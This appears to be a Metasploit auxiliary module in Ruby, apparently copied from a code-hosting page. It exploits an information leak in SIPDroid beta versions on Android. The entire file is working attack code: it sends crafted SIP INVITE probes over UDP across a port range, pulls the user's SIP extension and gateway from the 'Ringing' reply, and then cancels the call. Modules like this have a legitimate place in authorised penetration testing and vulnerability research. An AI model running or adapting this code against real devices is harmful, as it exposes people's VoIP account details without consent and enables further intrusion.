122 lines
3.4 KiB
Ruby
122 lines
3.4 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::Udp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'SIPDroid Extension Grabber',
|
|
'Description' => %q{
|
|
This module exploits a leak of extension/SIP Gateway
|
|
on SIPDroid 1.6.1 beta, 2.0.1 beta, 2.2 beta (tested in Android 2.1 and 2.2 - official Motorola release)
|
|
(other versions may be affected).
|
|
},
|
|
'Author' => 'Anibal Aguiar <anibal.aguiar[at]gmail.com>',
|
|
'References' =>
|
|
[
|
|
['BID', '47710'],
|
|
['URL', 'http://seclists.org/fulldisclosure/2011/May/83'],
|
|
]
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptInt.new('STRTPORT', [true, 'The start probe port', 59150]),
|
|
OptInt.new('FNLPORT', [true, 'The final probe port', 59159]),
|
|
OptInt.new('RPORT', [false, 'Remote port to probe', nil]),
|
|
], self.class)
|
|
end
|
|
|
|
def create_probe(ip, meth, branch, tag, callid)
|
|
suser = Rex::Text.rand_text_alphanumeric(rand(8)+1)
|
|
shost = Rex::Socket.source_address(ip)
|
|
src = "#{shost}:5060"
|
|
|
|
if branch.nil?
|
|
branch = "z9hG4bK#{"%.8x" % rand(0x100000000)}"
|
|
end
|
|
|
|
if tag.nil?
|
|
tag = "as#{rand(0x100000)}"
|
|
end
|
|
|
|
if callid.nil?
|
|
callid = rand(0x100000000)
|
|
end
|
|
|
|
@branch = branch
|
|
@tag = tag
|
|
@callid = callid
|
|
|
|
data = "#{meth} sip:#{ip} SIP/2.0\r\n"
|
|
data << "Via: SIP/2.0/UDP #{src};branch=#{branch};rport\r\n"
|
|
data << "Content-Length: 0\r\n"
|
|
data << "From: \"SIPDROID\";tag=#{tag}\r\n"
|
|
data << "Accept: application/sdp\r\n"
|
|
data << "User-Agent: SIPDROID\r\n"
|
|
data << "To: sip:#{ip}\r\n"
|
|
data << "Contact: \r\n"
|
|
data << "CSeq: 1 #{meth}\r\n"
|
|
data << "Call-ID: #{callid}@#{shost}\r\n"
|
|
data << "Max-Forwards: 70\r\n"
|
|
|
|
return data
|
|
end
|
|
|
|
def run()
|
|
strtport = datastore['STRTPORT']
|
|
fnlport = datastore['FNLPORT']
|
|
|
|
print_status("Trying target #{datastore['RHOST']}...")
|
|
while strtport <= fnlport
|
|
rcv = 'nothing'
|
|
begin
|
|
datastore['RPORT'] = strtport
|
|
|
|
connect_udp
|
|
data = create_probe(datastore['RHOST'], 'INVITE', nil, nil, nil)
|
|
udp_sock.put(data)
|
|
|
|
while not rcv.nil?
|
|
msg = udp_sock.recvfrom(1024, 4)
|
|
if not msg[0].eql?("")
|
|
if msg[0].include?("SIP/2.0 180 Ringing")
|
|
origin = /o=\w+\@[\w+\.]+/.match(msg[0])
|
|
|
|
if not origin.nil?
|
|
print_good(/\w+\@[\w+\.]+/.match(origin.to_s).to_s)
|
|
else
|
|
print_status("Ringing message received but no user/gateway sent...")
|
|
end
|
|
|
|
data = create_probe(datastore['RHOST'], 'CANCEL', @branch, @tag, @callid)
|
|
udp_sock.put(data)
|
|
strtport = fnlport + 1
|
|
rcv = nil
|
|
end
|
|
else
|
|
break
|
|
end
|
|
end
|
|
rescue ::Exception => e
|
|
disconnect_udp
|
|
if strtport == fnlport
|
|
print_status("Tested all ports got no response, try a bigger port range.")
|
|
end
|
|
ensure
|
|
if strtport == fnlport and not rcv.nil?
|
|
print_status("Tested all ports got no response, try a bigger port range.")
|
|
end
|
|
disconnect_udp
|
|
strtport += 1
|
|
end
|
|
end
|
|
end
|
|
end
|